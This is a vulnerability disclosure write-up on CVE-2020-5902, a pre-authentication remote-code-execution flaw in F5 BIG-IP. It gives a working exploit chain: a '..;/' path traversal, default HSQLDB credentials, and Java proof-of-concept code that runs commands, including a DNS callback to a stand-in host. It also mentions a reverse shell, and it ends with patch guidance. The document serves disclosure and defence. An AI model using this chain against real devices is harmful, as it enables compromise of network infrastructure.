Breakdown: how we found an RCE vulnerability in the F5 Big-IP Application Delivery Controller





BIG-IP from F5 is a popular application delivery controller used by the largest companies in the world. During the security analysis of this product, we were able to find the dangerous vulnerability CVE-2020-5902. This security flaw allows an attacker to execute commands on behalf of an unauthorized user and completely compromise the system, such as intercepting the traffic of web resources controlled by the controller.



According to our data, in June 2020, it was possible to get access from the Internet to 8 thousand devices containing the CVE-2020-5902 vulnerability. Its detailed analysis is in our new article.



What is the problem



BIG-IP from F5 is a popular application delivery controller used by the largest companies in the world. Vulnerability CVE-2020-5902 was rated 10 on the CVSS scale - the highest severity level.



The vulnerability could allow a remote attacker, including an unauthenticated attacker with access to the BIG-IP configuration utility, to execute arbitrary code in software (remote code execution, RCE). As a result, an attacker will be able to create or delete files, disable services, intercept information, execute arbitrary system commands and arbitrary Java code, completely compromise the system and develop an attack, for example, on an internal network segment.



A combination of security flaws in multiple system components (eg, directory out-of-bounds) results in RCE. Companies in which the F5 BIG-IP web interface can be found in special search engines, such as Shodan, are at particular risk, but it should be noted that the required interface is not accessible from the global network by all user companies.



During monitoring of actual threats (threat intelligence), we found that at the end of June 2020, there were over 8 thousand vulnerable devices available from the Internet in the world, of which 40% were in the United States, 16% were in China, 3% were in Taiwan, 2.5% each. in Canada and Indonesia. Less than 1% of vulnerable devices were detected in Russia.



Now let's move on to the story of how we managed to find CVE-2020-5902.



Looking for web server configuration errors



Let's install F5 Big-IP to our virtual machine, and get access to its command shell:







F5 Big-IP command line interface



The first thing to do to start the research is to look at all open ports and what applications are using them. This will identify all possible entry points to the system. To do this, we use the netstat command:







Finding open ports on the device



I love analyzing web applications, so let's start analyzing the configuration of the httpd server listening on port 443 / tcp.



The most interesting file from its configuration is "/etc/httpd/conf.d/proxy_ajp.conf":



LoadModule proxy_ajp_module modules/mod_proxy_ajp.so

#
# When loaded, the mod_proxy_ajp module adds support for
# proxying to an AJP/1.3 backend server (such as Tomcat).
# To proxy to an AJP backend, use the "ajp://" URI scheme;
# Tomcat is configured to listen on port 8009 for AJP requests
# by default.
#

#
# Uncomment the following lines to serve the ROOT webapp
# under the /tomcat/ location, and the jsp-examples webapp
# under the /examples/ location.
#
#ProxyPass /tomcat/ ajp://localhost:8009/
#ProxyPass /examples/ ajp://localhost:8009/jsp-examples/

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

<IfDefine LunaUI>
ProxyPassMatch ^/lunaui/(.*\.jsf.*)$ ajp://localhost:8009/lunaui/$1
ProxyPassMatch ^/lunaui/primefaces_resource/(.*)$ ajp://localhost:8009/lunaui/primefaces_resource/$1
ProxyPassMatch ^/lunaui/em_resource/(.*)$ ajp://localhost:8009/lunaui/em_resource/$1
</IfDefine>

<IfDefine WebAccelerator>
ProxyPassMatch ^/waui/(.*)$ ajp://localhost:8009/waui/$1 retry=5
</IfDefine>


Contents of the file /etc/httpd/conf.d/proxy_ajp.conf



This file configures Apache so that it transfers requests to Apache Tomcat on the local port 8009 / tcp via the AJP protocol, but only if these requests match one from the given regular expressions.







Finding an Application Listening on Port 8009 / tcp



It's important here to refer to Orange Tsai's research on how to make chained servers handle URLs differently. In particular, for our bundle of Apache HTTP Server and Apache Tomcat, you can test the sequence of characters "..; /":







Orange Tsai presentation slide



According to this study, Apache HTTP Server will parse the sequence as a valid folder name, while Apache Tomcat will think that this combination indicates a transition to the previous directory.



To understand if this method will work, you need to get the path to one of the hidden Tomcat endpoints in the configuration file:




<servlet-mapping>
        <servlet-name>org.apache.jsp.tiles.tmui.em_005ffilter_jsp</servlet-name>
        <url-pattern>/tiles/tmui/em_filter.jsp</url-pattern>
 </servlet-mapping>


A fragment of the configuration file /usr/local/www/tmui/WEB-INF/web.xml



The /tiles/tmui/em_filter.jsp path should not match the regular expressions in the proxy_ajp.conf file, so we test:







Testing the Orange Tsai technique



Normal request returns a 404 code, and a request using the Orange Tsai technique returns a code of 200. Thus, we can now access any pages on the Apache Tomcat internal server of the device under investigation.



Find vulnerable Tomcat endpoints



Let's examine the Apache Tomcat server configuration and try to find vulnerable endpoints in it.



We used the path /tiles/tmui/em_filter.jsp earlier, but now let's try to find something more useful:


    <servlet>
        <servlet-name>hsqldb</servlet-name>
        <servlet-class>org.hsqldb.Servlet</servlet-class>
        <load-on-startup>3</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>hsqldb</servlet-name>
        <url-pattern>/hsqldb/*</url-pattern>
    </servlet-mapping>


Fragment of the file /usr/local/www/tmui/WEB-INF/web.xml



My attention was drawn to the path “/ hsqldb /”, which is handled by the org.hsqldb.Servlet class. The acronym HSQLDB stands for Hyper SQL Database and its path / hsqldb / is responsible for providing access to the database itself.



Let's







check if our technique can be used to access this path: Checking the availability of HSQLDB



Thus, we managed to bypass the authorization and get access to the HSQLDB. The HSQLDB official website has a guide on how to connect to the database via HTTP , and it says that you can use a special Java driver to connect to the database via HTTP. And to connect, you need to know the login and password for the database.



Let's use the 'golden technique' called "Google search" and find the default usernames and passwords for HSQLDB:







Google shows you the default username and password right on the search page



Now write a Proof-Of-Concept in Java to test our assumption that the HSQLDB driver can work with the following default login data:



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://10.0.0.1/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


PoC code for connecting to HSQLDB and requesting a list of HSQLDB users







Result of executing the given PoC code



The code was executed and removed the first user from the table, which means that now we can execute arbitrary SQL queries without any authentication in the F5 Big- IP.



Exploring the HSQLDB endpoint



I spent a little time in the HSQLDB documentation and settled on the CALL statement - it can be used to execute stored procedures, including any static Java methods in the HSQLDB classpath.



Let's get the classpath from HSQLDB:



Request: CALL "java.lang.System.getProperty" ('java.class.path')

Response: "/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli. jar: / usr / local / www / tmui / WEB-INF / classes "


This is exactly the same classpath as Apache Tomcat server.



Now we need to find any static method that will allow remote code execution. After a short search in the tmui.jar file in the com.f5.view.web.pagedefinition.shuffler.Scripting class, I found the setRequestContext method:



public static void setRequestContext(String object, String screen)
{
     PyObject current = getInterpreter().eval(object + "__" + screen + "()");
     currentObject.set(current);
}


Trying to call this method with arbitrary data:



Request: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('aa', 'bb')

Response: "NameError: aa__bb",


We see that we got into the context of Python code execution, and passed the wrong data.



We try to import the "os" module and call the system function:



Request: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('__ import __ ("os"). System () #', '# 11')

Reply: "ImportError: no module named javaos"


We google the error and find out that this is typical behavior for the Jython language.



We try to execute the command in a different way:



Request: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('Runtime.getRuntime (). Exec ("ls") #', '#')

Reply: null




We got null from this request, which tells us about the successful execution of the command. Now, let's put together the final PoC code that will send a dns request if the server is vulnerable:



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext\"('Runtime.getRuntime().exec(\"nslookup test.dns.samplehost.com\")#','#')");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


And we will get RCE in our F5 Big-IP, using commands for reverse shell:







Accessing F5 Big-IP through the discovered chain of vulnerabilities



Summary



We got the RCE from an unauthorized user in three easy steps:



  1. Found a bug in the Apache HTTP Server and Apache Tomcat configuration
  2. Used the default password for HSQLDB
  3. Used non-obvious static methods in the F5 Big-IP library code


How to protect yourself



To fix the vulnerability, you must update the system to the latest version: the vulnerable BIG-IP versions (11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x) should be replaced with the versions in which the vulnerability has been fixed ( BIG-IP 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4). For users of public cloud marketplaces (AWS, Azure, GCP and Alibaba), you must use BIG-IP Virtual Edition (VE) 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6 or 15.1.0.4), provided they are available on these markets. Further guidance is provided in the F5 BIG-IP Notice .



Author : Mikhail Klyuchnikov (@ __mn1__ ), Positive Technologies



Timeline:



  • 1 April, 2020 - Vulnerability information has been submitted to F5 Networks
  • 3 April, 2020 - Team F5 was able to reproduce vulnerabilities
  • 1 July, 2020 — Security Advisory



All Articles